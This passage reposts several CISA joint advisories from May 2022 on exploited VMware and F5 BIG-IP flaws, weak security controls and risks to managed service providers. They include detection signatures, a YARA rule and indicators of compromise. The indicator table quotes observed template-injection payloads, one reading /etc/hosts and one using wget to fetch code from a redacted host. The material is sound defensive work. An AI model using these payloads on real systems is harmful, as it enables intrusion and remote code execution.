    • vIDM versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • VMware Cloud Foundation, 4.x
    • vRealize Suite LifeCycle Manager, 8.
  • CVE-2022-22960 enables a malicious actor with local access to escalate privileges to root due to improper permissions in support scripts. This vulnerability affects the following products:[2]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
    • vIDM, versions 3.3.6, 3.3.5, 3.3.4, 3.3.3
    • vRA, version 7.6 
    • VMware Cloud Foundation, 3.x, 4.x, 
    • vRealize Suite LifeCycle Manager, 8.x

According to trusted third-party reporting, threat actors may chain these vulnerabilities. At one compromised organization, on or around April 12, 2022, an unauthenticated actor with network access to the web interface leveraged CVE-2022-22954 to execute an arbitrary shell command as a VMware user. The actor then exploited CVE-2022-22960 to escalate the user’s privileges to root. With root access, the actor could wipe logs, escalate permissions, and move laterally to other systems.

Threat actors have dropped post-exploitation tools, including the Dingo J-spy webshell. During incident response activities, CISA observed, on or around April 13, 2022, threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell. Around the same period, a trusted third party observed threat actors leveraging CVE-2022-22954 to drop the Dingo J-spy webshell at one other organization. According to the third party, the actors may have also dropped the Dingo J-spy webshell at a third organization. Note: analysis of the first compromise and associated malware is ongoing, and CISA will update information about this case as we learn more.

Detection Methods

Signatures

Note: servers vulnerable to CVE-2022-22954 may use Hypertext Transfer Protocol Secure (HTTPS) to encrypt client/server communications. Secure Sockets Layer (SSL)/Transport Layer Security (TLS) decryption can be used as a workaround for network-based detection and threat hunting efforts.

The following CISA-created Snort signature may detect malicious network traffic related to exploitation of CVE-2022-22954:

alert tcp any any -> any $HTTP_PORTS (msg: »VMware:HTTP GET URI contains ‘/catalog-portal/ui/oauth/verify?error=&deviceUdid=’:CVE-2022-22954″; sid:1; rev:1; flow:established,to_server; content: « GET »; http_method; content: »/catalog-portal/ui/oauth/verify?error=&deviceUdid= »; http_uri; reference:cve,2022-22954; reference:url,github.com/sherlocksecurity/VMware-CVE-2022-22954; reference:url,github.com/tunelko/CVE-2022-22954-PoC/blob/main/CVE-2022-22954.py; priority:2; metadata:service http;)

The following third-party Snort signature may detect exploitation of VMware Workspace ONE Access server-side template injection:

10000001alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: »Workspace One Serverside Template Injection »;content: »GET »; http_method; content: »freemarker.template.utility.Execute »;nocase; http_uri; priority:1; sid:;rev:1;)

The following third-party YARA rule may detect unmodified instances of the Dingo J-spy webshell on infected hosts:

rule dingo_jspy_webshell
{
strings:
$string1 = « dingo.length »
$string2 = « command = command.trim »
$string3 = « commandAction »
$string4 = « PortScan »
$string5 = « InetAddress.getLocalHost »
$string6 = « DatabaseManager »
$string7 = « ExecuteCommand »
$string8 = « var command = form.command.value »
$string9 = « dingody.iteye.com »
$string10 = « J-Spy ver »
$string11 = « no permission ,die »
$string12 = « int iPort = Integer.parseInt »
condition:
filesize < 50KB and 12 of ($string*)
}

Note: the Dingo J-spy webshell is an example of post-exploitation tools that actors have used. Administrators should examine their network for any sign of post-exploitation activity.

Behavioral Analysis and Indicators of Compromise

Administrators should conduct behavioral analysis on root accounts of vulnerable systems by:

  • Using the indicators listed in table 1 to detect potential malicious activity.
  • Reviewing systems logs and gaps in logs.
  • Reviewing abnormal connections to other assets.
  • Searching the command-line history.
  • Auditing running processes.
  • Reviewing local user accounts and groups.  
  • Auditing active listening ports and connections.

 

Table 1: Third-party IOCs for Exploitation of CVE-2022-22954 and CVE-2022-22960

Indicator

Comment

IP Addresses

136.243.75[.]136

On or around April 12, 2022, malicious cyber actors may have used this German-registered IP address to conduct the activity. However, the actors may have used the Privax HMA VPN client to conduct operations.

Scanning, Exploitation Strings, and Commands Observed

catalog-portal/ui/oauth/verify 

 

catalog

portal/ui/oauth/verify?error=&deviceUdid=${« freemarker.template.utility.Execute »?new()(« cat  /etc/hosts »)}  

 

/catalog

portal/ui/oauth/verify?error=&deviceUdid=${« freemarker.template.utility.Execute »?new()(« wget  -U « Hello 1.0″ -qO – http://[REDACTED]/one »)} 

 

freemarker.template.utility.Execute

Search for this function in:

opt/vmware/horizon/workspace/logs/greenbox_web.log.

 

freemarker.template.utility.Execute may be legitimate but could also indicate malicious shell commands.

/opt/vmware/certproxy/bing/certproxyService.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/exportCustomGroupUsers.sh

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

/horizon/scripts/extractUserIdFromDatabase.sh 

Check for this command being placed into the script; CVE-2022-22960 allows a user to write to it and be executed as root.

Files

horizon.jsp 

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

jquery.jsp

Found in /usr/local/horizon/workspace/webapps/SAAS/horizon/js-lib: 

Webshells

jspy 

 

godzilla  

 

tomcatjsp 

 

Incident Response

If administrators discover system compromise, CISA recommends they:

  1. Immediately isolate affected systems. 
  2. Collect and review relevant logs, data, and artifacts.
  3. Consider soliciting support from a third-party incident response organization to provide subject matter expertise, ensure the actor is eradicated from the network, and avoid residual issues that could enable follow-on exploitation.
  4. Report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

Mitigations

CISA recommends organizations update impacted VMware products to the latest version or remove impacted versions from organizational networks. CISA does not endorse alternative mitigation options. As noted in ED 22-03 Mitigate VMware Vulnerabilities, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. ED 22-03 directs all Federal Civilian Executive Branch agencies to enumerate all instances of impacted VMware products and deploy updates in VMware Security Advisory VMSA-2022-0014 or to remove the affected software from the agency network until the updates can be applied.

Resources

Contact Information

CISA encourages recipients of this CSA to report incidents to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870)

References

Revisions

  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: May 18, 2022

Summary

Actions for administrators to take today:
• Do not expose management interfaces to the internet.
• Enforce multi-factor authentication.
• Consider using CISA’s Cyber Hygiene Services.

The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) are releasing this joint Cybersecurity Advisory (CSA) in response to active exploitation of CVE-2022-1388. This recently disclosed vulnerability in certain versions of F5 Networks, Inc., (F5) BIG-IP enables an unauthenticated actor to gain control of affected systems via the management port or self-IP addresses. F5 released a patch for CVE-2022-1388 on May 4, 2022, and proof of concept (POC) exploits have since been publicly released, enabling less sophisticated actors to exploit the vulnerability. Due to previous exploitation of F5 BIG-IP vulnerabilities, CISA and MS-ISAC assess unpatched F5 BIG-IP devices are an attractive target; organizations that have not applied the patch are vulnerable to actors taking control of their systems.

According to public reporting, there is active exploitation of this vulnerability, and CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices (mostly with publicly exposed management ports or self IPs) in both government and private sector networks. CISA and MS-ISAC strongly urge users and administrators to remain aware of the ramifications of exploitation and use the recommendations in this CSA—including upgrading their software to fixed versions—to help secure their organization’s systems against malicious cyber operations. Additionally, CISA and MS-ISAC strongly encourage administrators to deploy the signatures included in this CSA to help determine whether their systems have been compromised. CISA and MS-ISAC especially encourage organizations who did not patch immediately or whose F5 BIG-IP device management interface has been exposed to the internet to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 500kb).

Technical Details

CVE-2022-1388 is a critical iControl REST authentication bypass vulnerability affecting the following versions of F5 BIG-IP:[1]

  • 16.1.x versions prior to 16.1.2.2 
  • 15.1.x versions prior to 15.1.5.1 
  • 14.1.x versions prior to 14.1.4.6 
  • 13.1.x versions prior to 13.1.5 
  • All 12.1.x and 11.6.x versions

An unauthenticated actor with network access to the BIG-IP system through the management port or self IP addresses could exploit the vulnerability to execute arbitrary system commands, create or delete files, or disable services. F5 released a patch for CVE-2022-1388 for all affected versions—except 12.1.x and 11.6.x versions—on May 4, 2022 (12.1.x and 11.6.x versions are end of life [EOL], and F5 has stated they will not release patches).[2]

POC exploits for this vulnerability have been publicly released, and on May 11, 2022, CISA added this vulnerability its Known Exploited Vulnerabilities Catalog, based on evidence of active exploitation. Due to the POCs and ease of exploitation, CISA and MS-ISAC expect to see widespread exploitation of unpatched F5 BIG-IP devices in government and private networks. 

Dection Methods

CISA recommends administrators, especially of organizations who did not immediately patch, to:

  • See the F5 Security Advisory K23605346 for indicators of compromise. 
  • See the F5 guidance K11438344 if you suspect a compromise. 
  • Deploy the following CISA-created Snort signature:
alert tcp any any -> any $HTTP_PORTS (msg:”BIG-IP F5 iControl:HTTP POST URI ‘/mgmt./tm/util/bash’ and content data ‘command’ and ‘utilCmdArgs’:CVE-2022-1388”; sid:1; rev:1; flow:established,to_server; flowbits:isnotset,bigip20221388.tagged; content:”POST”; http_method; content:”/mgmt/tm/util/bash”; http_uri; content:”command”; http_client_body; content:”utilCmdArgs”; http_client_body; flowbits:set,bigip20221388.tagged; tag:session,10,packets; reference:cve-2022-1388; reference:url,github.com/alt3kx/CVE-2022-1388_PoC; priority:2; metadata:service http;)

Additional resources to detect possible exploitation or compromise are identified below:

  • Emerging Threats suricata signatures. Note: CISA and MS-ISAC have verified these signatures are successful in detection of both inbound exploitation attempts (SID: 2036546) as well as post exploitation, indicating code execution (SID: 2036547).
    • SID 2036546
alert http $HOME_NET any -> $EXTERNAL_NET any (msg: »ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass (CVE 2022-1388) M1″; flow:established,to_server; content: »POST »; http_method; content: »/mgmt/tm/util/bash »; http_uri; fast_pattern; content: »Authorization|3a 20|Basic YWRtaW46″; http_header; content: »command »; http_client_body; content: »run »; http_client_body; distance:0; content: »utilCmdArgs »; http_client_body; distance:0; http_connection; content: »x-F5-Auth-Token »; nocase; http_header_names; content:! »Referer »; content: »X-F5-Auth-Token »; flowbits:set,ET.F5AuthBypass; reference:cve,2022-1388; classtype:trojan-activity; sid:2036546; rev:2; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;
  • SID SID 2036547
alert http $HOME_NET any -> any any (msg: »ET EXPLOIT F5 BIG-IP iControl REST Authentication Bypass Server Response (CVE 2022-1388) »; flow:established,to_client; flowbits:isset,ET.F5AuthBypass; content: »200″; http_stat_code; file_data; content: »kind »; content: »tm|3a|util|3a|bash|3a|runstate »; fast_pattern; distance:0; content: »command »; distance:0; content: »run »; distance:0; content: »utilCmdArgs »; distance:0; content: »commandResult »; distance:0; reference:cve,2022-1388; classtype:trojan-activity; sid:2036547; rev:1; metadata:attack_target Web_Server, created_at 2022_05_09, deployment Perimeter, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, signature_severity Major, updated_at 2022_05_09;)

 

Incident Response 

If an organization’s IT security personnel discover system compromise, CISA and MS-ISAC recommend they:

  1. Quarantine or take offline potentially affected hosts.
  2. Reimage compromised hosts.
  3. Provision new account credentials.
  4. Limit access to the management interface to the fullest extent possible.
  5. Collect and review artifacts such as running processes/services, unusual authentications, and recent network connections.
  6. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). State, local, tribal, or territorial government entities can also report to MS-ISAC (SOC@cisecurity.org or 866-787-4722).

See the joint CSA from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity for additional guidance on hunting or investigating a network, and for common mistakes in incident handling. CISA and MS-ISAC also encourage government network administrators to see CISA’s Federal Government Cybersecurity Incident and Vulnerability Response Playbooks. Although tailored to federal civilian branch agencies, these playbooks provide operational procedures for planning and conducting cybersecurity incident and vulnerability response activities and detail steps for both incident and vulnerability response. 

Mitigations

CISA and MS-ISAC recommend organizations:

  • Upgrade F5 BIG-IP software to fixed versions; organizations using versions 12.1.x and 11.6.x should upgrade to supported versions. 
  • If unable to immediately patch, implement F5’s temporary workarounds:
    • Block iControl REST access through the self IP address.
    • Block iControl REST access through the management interface.
    • Modify the BIG-IP httpd configuration. 

See F5 Security Advisory K23605346 for more information on how to implement the above workarounds. 

CISA and MS-ISAC also recommend organizations apply the following best practices to reduce risk of compromise:

  • Maintain and test an incident response plan.
  • Ensure your organization has a vulnerability program in place and that it prioritizes patch management and vulnerability scanning. Note: CISA’s Cyber Hygiene Services (CyHy) are free to all SLTT organizations and public and private sector critical infrastructure organizations: https://www.cisa.gov/cyber-hygiene-services.
  • Properly configure and secure internet-facing network devices.
    • Do not expose management interfaces to the internet.
    • Disable unused or unnecessary network ports and protocols.
    • Disable/remove unused network services and devices.
  • Adopt zero-trust principles and architecture, including:
    • Micro-segmenting networks and functions to limit or block lateral movements.
    • Enforcing multifactor authentication (MFA) for all users and VPN connections.
    • Restricting access to trusted devices and users on the networks.

References

Revisions

  • Initial Version: May 18, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Original release date: May 17, 2022

Summary

Best Practices to Protect Your Systems:
• Control access.
• Harden Credentials.
• Establish centralized log management.
• Use antivirus solutions.
• Employ detection tools.
• Operate services exposed on internet-accessible hosts with secure configurations.
• Keep software updated.

Cyber actors routinely exploit poor security configurations (either misconfigured or left unsecured), weak controls, and other poor cyber hygiene practices to gain initial access or as part of other tactics to compromise a victim’s system. This joint Cybersecurity Advisory identifies commonly exploited controls and practices and includes best practices to mitigate the issues. This advisory was coauthored by the cybersecurity authorities of the United States,[1],[2],[3] Canada,[4] New Zealand,[5],[6] the Netherlands,[7] and the United Kingdom.[8]

Download the PDF version of this report (pdf, 430kb).

Technical Details

Malicious actors commonly use the following techniques to gain initial access to victim networks.[TA0001]

Malicious cyber actors often exploit the following common weak security controls, poor configurations, and poor security practices to employ the initial access techniques.

  • Multifactor authentication (MFA) is not enforced. MFA, particularly for remote desktop access, can help prevent account takeovers. With Remote Desktop Protocol (RDP) as one of the most common infection vector for ransomware, MFA is a critical tool in mitigating malicious cyber activity. Do not exclude any user, particularly adminstrators, from an MFA requirement. 
  • Incorrectly applied privileges or permissions and errors within access control lists. These mistakes can prevent the enforcement of access control rules and could allow unauthorized users or system processes to be granted access to objects. 
  • Software is not up to date. Unpatched software may allow an attacker to exploit publicly known vulnerabilities to gain access to sensitive information, launch a denial-of-service attack, or take control of a system. This is one of the most commonly found poor security practices.
  • Use of vendor-supplied default configurations or default login usernames and passwords. Many software and hardware products come “out of the box” with overly permissive factory-default configurations intended to make the products user-friendly and reduce the troubleshooting time for customer service. However, leaving these factory default configurations enabled after installation may provide avenues for an attacker to exploit. Network devices are also often pre-configured with default administrator usernames and passwords to simplify setup. These default credentials are not secure—they may be physically labeled on the device or even readily available on the internet. Leaving these credentials unchanged creates opportunities for malicious activity, including gaining unauthorized access to information and installing malicious software. Network defenders should also be aware that the same considerations apply for extra software options, which may come with preconfigured default settings.
  • Remote services, such as a virtual private network (VPN), lack sufficient controls to prevent unauthorized access. During recent years, malicious threat actors have been observed targeting remote services. Network defenders can reduce the risk of remote service compromise by adding access control mechanisms, such as enforcing MFA, implementing a boundary firewall in front of a VPN, and leveraging intrusion detection system/intrusion prevention system sensors to detect anomalous network activity.  
  • Strong password policies are not implemented. Malicious cyber actors can use a myriad of methods to exploit weak, leaked, or compromised passwords and gain unauthorized access to a victim system. Malicious cyber actors have used this technique in various nefarious acts and prominently in attacks targeting RDP. 
  • Cloud services are unprotected. Misconfigured cloud services are common targets for cyber actors. Poor configurations can allow for sensitive data theft and even cryptojacking.
  • Open ports and misconfigured services are exposed to the internet. This is one of the most common vulnerability findings. Cyber actors use scanning tools to detect open ports and often use them as an initial attack vector. Successful compromise of a service on a host could enable malicious cyber actors to gain initial access and use other tactics and procedures to compromise exposed and vulnerable entities. RDP, Server Message Block (SMB), Telnet, and NetBIOS are high-risk services. 
  • Failure to detect or block phishing attempts. Cyber actors send emails with malicious macros—primarily in Microsoft Word documents or Excel files—to infect computer systems. Initial infection can occur in a variety of ways, such as when a user opens or clicks a malicious download link, PDF, or macro-enabled Microsoft Word document included in phishing emails. 
  • Poor endpoint detection and response. Cyber actors use obfuscated malicious scripts and PowerShell attacks to bypass endpoint security controls and launch attacks on target devices. These techniques can be difficult to detect and protect against. 

Mitigations

Applying the following practices can help organizations strengthen their network defenses against common exploited weak security controls and practices.

Control Access

  • Adopt a zero-trust security model that eliminates implicit trust in any one element, node, or service, and instead requires continuous verification of the operational picture via real-time information from multiple sources to determine access and other system responses.[9],[10] Zero-trust architecture enables granular privilege access management and can allow users to be assigned only the rights required to perform their assigned tasks.
  • Limit the ability of a local administrator account to log in from a remote session (e.g., deny access to this computer from the network) and prevent access via an RDP session. Additionally, use dedicated administrative workstations for privileged user sessions to help limit exposure to all the threats associated with device or user compromise. 
  • Control who has access to your data and services. Give personnel access only to the data, rights, and systems they need to perform their job. This role-based access control, also known as the principle of least priviledge, should apply to both accounts and physical access. If a malicious cyber actor gains access, access control can limit the actions malicious actors can take and can reduce the impact of misconfigurations and user errors. Network defenders should also use this role-based access control to limit the access of service, machine, and functional accounts, as well as the use of management privileges, to what is necessary. Consider the following when implementing access control models:
    • Ensure that access to data and services is specifically tailored to each user, with each employee having their own user account. 
    • Give employees access only to the resources needed to perform their tasks.
    • Change default passwords of equipment and systems upon installation or commissioning. 
    • Ensure there are processes in place for the entry, exit, and internal movement of employees. Delete unused accounts, and immediately remove access to data and systems from accounts of exiting employees who no longer require access. Deactivate service accounts, and activate them only when maintenance is performed.[11]
  • Harden conditional access policies. Review and optimize VPN and access control rules to manage how users connect to the network and cloud services.
  • Verify that all machines, including cloud-based virtual machine instances do not have open RDP ports. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.[12]

Implement Credential Hardening

Establish Centralized Log Management

  • Ensure that each application and system generates sufficient log information. Log files play a key role in detecting attacks and dealing with incidents. By implementing robust log collection and retention, organizations are able to have sufficient information to investigate incidents and detect threat actor behavior. Consider the following when implementing log collection and retention: 
    • Determine which log files are required. These files can pertain to system logging, network logging, application logging, and cloud logging. 
    • Set up alerts where necessary. These should include notifications of suspicious login attempts based on an analysis of log files. 
    • Ensure that your systems store log files in a usable file format, and that the recorded timestamps are accurate and set to the correct time zone. 
    • Forward logs off local systems to a centralized repository or security information and event management (SIEM) tools. Robustly protect SIEM tools with strong account and architectural safeguards.
    • Make a decision regarding the retention period of log files. If you keep log files for a long time, you can refer to them to determine facts long after incidents occur. On the other hand, log files may contain privacy-sensitive information and take up storage space. Limit access to log files and store them in a separate network segment. An incident investigation will be nearly impossible if attackers have been able to modify or delete the logfiles.[13]

Employ Antivirus Programs

  • Deploy an anti-malware solution on workstations to prevent spyware, adware, and malware as part of the operating system security baseline.
  • Monitor antivirus scan results on a routine basis.

Employ Detection Tools and Search for Vulnerabilities

  • Implement endpoint and detection response tools. These tools allow a high degree of visibility into the security status of endpoints and can help effectively protect against malicious cyber actors.
  • Employ an intrusion detection system or intrusion prevention system to protect network and on-premises devices from malicious activity. Use signatures to help detect malicious network activity associated with known threat activity.
  • Conduct penetration testing to identify misconfigurations. See the Additional Resources section below for more information about CISA’s free cyber hygiene services, including remote penetration testing.
  • Conduct vulnerability scanning to detect and address application vulnerabilities. 
  • Use cloud service provider tools to detect overshared cloud storage and monitor for abnormal accesses.

Maintain Rigorous Configuration Management Programs

  • Always operate services exposed on internet-accessible hosts with secure configurations. Never enable external access without compensating controls such as boundary firewalls and segmentation from other more secure and internal hosts like domain controllers. Continuously assess the business and mission need of internet-facing services. Follow best practices for security configurations, especially blocking macros in documents from the internet.[14]

Initiate a Software and Patch Management Program 

  • Implement asset and patch management processes to keep software up to date. Identify and mitigate unsupported, end-of-life, and unpatched software and firmware by performing vulnerability scanning and patching activities. Prioritize patching known exploited vulnerabilities.

Additional Resources 

References 

[1] United States Cybersecurity and Infrastructure Security Agency 
[2] United States Federal Bureau of Investigation
[3] United States National Security Agency
[4] Canadian Centre for Cyber Security 
[5] New Zealand National Cyber Security Centre 
[6] New Zealand CERT NZ
[7] Netherlands National Cyber Security Centre
[8] United Kingdom National Cyber Security Centre 
[9] White House Executive Order on Improving the Nation’s Cybersecurity
[10] NCSC-NL Factsheet: Prepare for Zero Trust
[11] NCSC-NL Guide to Cyber Security Measures
[12] N-able Blog: Intrusion Detection System (IDS): Signature vs. Anomaly-Based
[13] NCSC-NL Guide to Cyber Security Measures
[14] National Institute of Standards and Technology SP 800-123 – Keeping Servers Secured

Contact

U.S. organizations: To report incidents and anomalous activity or to request incident response resources or technical assistance related to these threats, contact CISA at report@cisa.gov. To report computer intrusion or cybercrime activity related to information found in this advisory, contact your local FBI field office at www.fbi.gov/contact-us/field, or the FBI’s 24/7 Cyber Watch at 855-292-3937 or by email at CyWatch@fbi.gov. For NSA client requirements or general cybersecurity inquiries, contact Cybersecurity_Requests@nsa.gov

Canadian organizations: report incidents by emailing CCCS at contact@cyber.gc.ca

New Zealand organizations: report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654. 

The Netherlands organizations: report incidents to cert@ncsc.nl

United Kingdom organizations: report a significant cyber security incident: ncsc.gov.uk/report-an-incident (monitored 24 hours) or, for urgent assistance, call 03000 200 973.

Caveats

The information you have accessed or received is being provided “as is” for informational purposes only. CISA, the FBI, NSA, CCCS, NCSC-NZ, CERT-NZ, NCSC-NL, and NCSC-UK do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring.

Purpose

This document was developed by CISA, the FBI, NSA, CCCS, NCSC-NZ, CERT-NZ, NCSC-NL, and NCSC-UK in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. 

Revisions

  • May 17, 2022: Initial version

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

La vulnérabilité CVE-2022-1388 affectant les équipements BIG-IP de F5 Networks a été annoncée le 4 mai 2022. Elle permet de contourner le mécanisme d’authentification et d’invoquer les fonctions d’interprétation de …
Source de l’article sur CERT-FR

Original release date: May 11, 2022

Summary

Tactical actions for MSPs and their customers to take today:
• Identify and disable accounts that are no longer in use.
• Enforce MFA on MSP accounts that access the customer environment and monitor for unexplained failed authentication.
• Ensure MSP-customer contracts transparently identify ownership of ICT security roles and responsibilities.

The cybersecurity authorities of the United Kingdom (NCSC-UK), Australia (ACSC), Canada (CCCS), New Zealand (NCSC-NZ), and the United States (CISA), (NSA), (FBI) are aware of recent reports that observe an increase in malicious cyber activity targeting managed service providers (MSPs) and expect this trend to continue.[1] This joint Cybersecurity Advisory (CSA) provides actions MSPs and their customers can take to reduce their risk of falling victim to a cyber intrusion. This advisory describes cybersecurity best practices for information and communications technology (ICT) services and functions, focusing on guidance that enables transparent discussions between MSPs and their customers on securing sensitive data. Organizations should implement these guidelines as appropriate to their unique environments, in accordance with their specific security needs, and in compliance with applicable regulations. MSP customers should verify that the contractual arrangements with their provider include cybersecurity measures in line with their particular security requirements.

The guidance provided in this advisory is specifically tailored for both MSPs and their customers and is the result of a collaborative effort from the United Kingdom National Cyber Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NCSC-NZ), the United States’ Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) with contributions from industry members of the Joint Cyber Defense Collaborative (JCDC). Organizations should read this advisory in conjunction with NCSC-UK guidance on actions to take when the cyber threat is heightened, CCCS guidance on Cyber Security Considerations for Consumers of Managed Services, and CISA guidance provided on the Shields Up and Shields Up Technical Guidance webpages.

Managed Service Providers

This advisory defines MSPs as entities that deliver, operate, or manage ICT services and functions for their customers via a contractual arrangement, such as a service level agreement. In addition to offering their own services, an MSP may offer services in conjunction with those of other providers. Offerings may include platform, software, and IT infrastructure services; business process and support functions; and cybersecurity services. MSPs typically manage these services and functions in their customer’s network environment—either on the customer’s premises or hosted in the MSP’s data center. Note: this advisory does not address guidance on cloud service providers (CSPs)—providers who handle the ICT needs of their customers via cloud services such as Software-as-a-Service, Platform-as-a-Service, and Infrastructure-as-a-Service; however, MSPs may offer these services as well. (See Appendix for additional definitions.)

MSPs provide services that usually require both trusted network connectivity and privileged access to and from customer systems. Many organizations—ranging from large critical infrastructure organizations to small- and mid-sized businesses—use MSPs to manage ICT systems, store data, or support sensitive processes. Many organizations make use of MSPs to scale and support network environments and processes without expanding their internal staff or having to develop the capabilities internally. 

Threat Actors Targeting MSP Access to Customer Networks

Whether the customer’s network environment is on premises or externally hosted, threat actors can use a vulnerable MSP as an initial access vector to multiple victim networks, with globally cascading effects. The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities expect malicious cyber actors—including state-sponsored advanced persistent threat (APT) groups—to step up their targeting of MSPs in their efforts to exploit provider-customer network trust relationships. For example, threat actors successfully compromising an MSP could enable follow-on activity—such as ransomware and cyber espionage—against the MSP as well as across the MSP’s customer base.

The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities have previously issued general guidance for MSPs and their customers.[2],[3],[4],[5],[6],[7],[8] This advisory provides specific guidance to enable transparent, well-informed discussions between MSPs and their customers that center on securing sensitive information and data. These discussions should result in a re-evaluation of security processes and contractual commitments to accommodate customer risk tolerance. A shared commitment to security will reduce risk for both MSPs and their customers, as well as the global ICT community. 

Download the Joint Cybersecurity Advisory: Protecting Against Cyber Threats to Managed Service Providers and their Customers (pdf, 697kb).

Recommendations 

MSPs and their Customers

The UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities recommend MSPs and their customers implement the baseline security measures and operational controls listed in this section. Additionally, customers should ensure their contractual arrangements specify that their MSP implements these measures and controls.

Prevent initial compromise. 

In their efforts to compromise MSPs, malicious cyber actors exploit vulnerable devices and internet-facing services, conduct brute force attacks, and use phishing techniques. MSPs and their customers should ensure they are mitigating these attack methods. Useful mitigation resources on initial compromise attack methods are listed below:

Enable/improve monitoring and logging processes. 

It can be months before incidents are detected, so UK, Australian, Canadian, New Zealand, and U.S. cybersecurity authorities recommend all organizations store their most important logs for at least six months. Whether through a comprehensive security information and event management (SIEM) solution or discrete logging tools, implement and maintain a segregated logging regime to detect threats to networks. Organizations can refer to the following NCSC-UK guidance on the appropriate data to collect for security purposes and when to use it: What exactly should we be logging? Additionally, all organizations—whether through contractual arrangements with an MSP or on their own—should implement endpoint detection and network defense monitoring capabilities in addition to using application allowlisting/denylisting. 

  • MSPs should log the delivery infrastructure activities used to provide services to the customer. MSPs should also log both internal and customer network activity, as appropriate and contractually agreed upon. 
  • Customers should enable effective monitoring and logging of their systems. If customers choose to engage an MSP to perform monitoring and logging, they should ensure that their contractual arrangements require their MSP to:
    • Implement comprehensive security event management that enables appropriate monitoring and logging of provider-managed customer systems; 
    • Provide visibility—as specified in the contractual arrangement—to customers of logging activities, including provider’s presence, activities, and connections to the customer networks (Note: customers should ensure that MSP accounts are properly monitored and audited.); and
    • Notify customer of confirmed or suspected security events and incidents occurring on the provider’s infrastructure and administrative networks, and send these to a security operations center (SOC) for analysis and triage. 

Enforce multifactor authentication (MFA). 

Organizations should secure remote access applications and enforce MFA where possible to harden the infrastructure that enables access to networks and systems.[9],[10] Note: Russian state-sponsored APT actors have recently demonstrated the ability to exploit default MFA protocols; organizations should review configuration policies to protect against “fail open” and re-enrollment scenarios.[11

  • MSPs should recommend the adoption of MFA across all customer services and products. Note: MSPs should also implement MFA on all accounts that have access to customer environments and should treat those accounts as privileged.
  • Customers should ensure that their contractual arrangements mandate the use of MFA on the services and products they receive. Contracts should also require MFA to be enforced on all MSP accounts used to access customer environments.

Manage internal architecture risks and segregate internal networks. 

Organizations should understand their environment and segregate their networks. Identify, group, and isolate critical business systems and apply appropriate network security controls to them to reduce the impact of a compromise across the organization.[12],[13]

  • MSPs should review and verify all connections between internal systems, customer systems, and other networks. Segregate customer data sets (and services, where applicable) from each other—as well as from internal company networks—to limit the impact of a single vector of attack. Do not reuse admin credentials across multiple customers. 
  • Customers should review and verify all connections between internal systems, MSP systems, and other networks. Ensure management of identity providers and trusts between the different environments. Use a dedicated virtual private network (VPN) or alternative secure access method, to connect to MSP infrastructure and limit all network traffic to and from the MSP to that dedicated secure connection. Verify that the networks used for trust relationships with MSPs are suitably segregated from the rest of their networks. Ensure contractual agreements specify that MSPs will not reuse admin credentials across multiple customers.

Apply the principle of least privilege. 

Organizations should apply the principle of least privilege throughout their network environment and immediate update privileges upon changes in administrative roles. Use a tiering model for administrative accounts so that these accounts do not have any unnecessary access or privileges. Only use accounts with full privileges across an enterprise when strictly necessary and consider the use of time-based privileges to further restrict their use. Identify high-risk devices, services and users to minimize their accesses.[14]

  • MSPs should apply this principle to both internal and customer environments, avoiding default administrative privileges. 
  • Customers should ensure that their MSP applies this principle to both provider and customer network environments. Note: customers with contractual arrangements that provide them with administration of MSP accounts within their environment should ensure that the MSP accounts only have access to the services/resources being managed by the MSP.

Deprecate obsolete accounts and infrastructure. 

Both MSPs and customers should periodically review their internet attack surface and take steps to limit it, such as disabling user accounts when personnel transition.[15] (Note: although sharing accounts is not recommended, should an organization require this, passwords to shared account should be reset when personnel transition.) Organizations should also audit their network infrastructure—paying particular attention to those on the MSP-customer boundary—to identify and disable unused systems and services. Port scanning tools and automated system inventories can assist organizations in confirming the roles and responsibilities of systems.

  • Customers should be sure to disable MSP accounts that are no longer managing infrastructure. Note: disabling MSP accounts can be overlooked when a contract terminates.

Apply updates. 

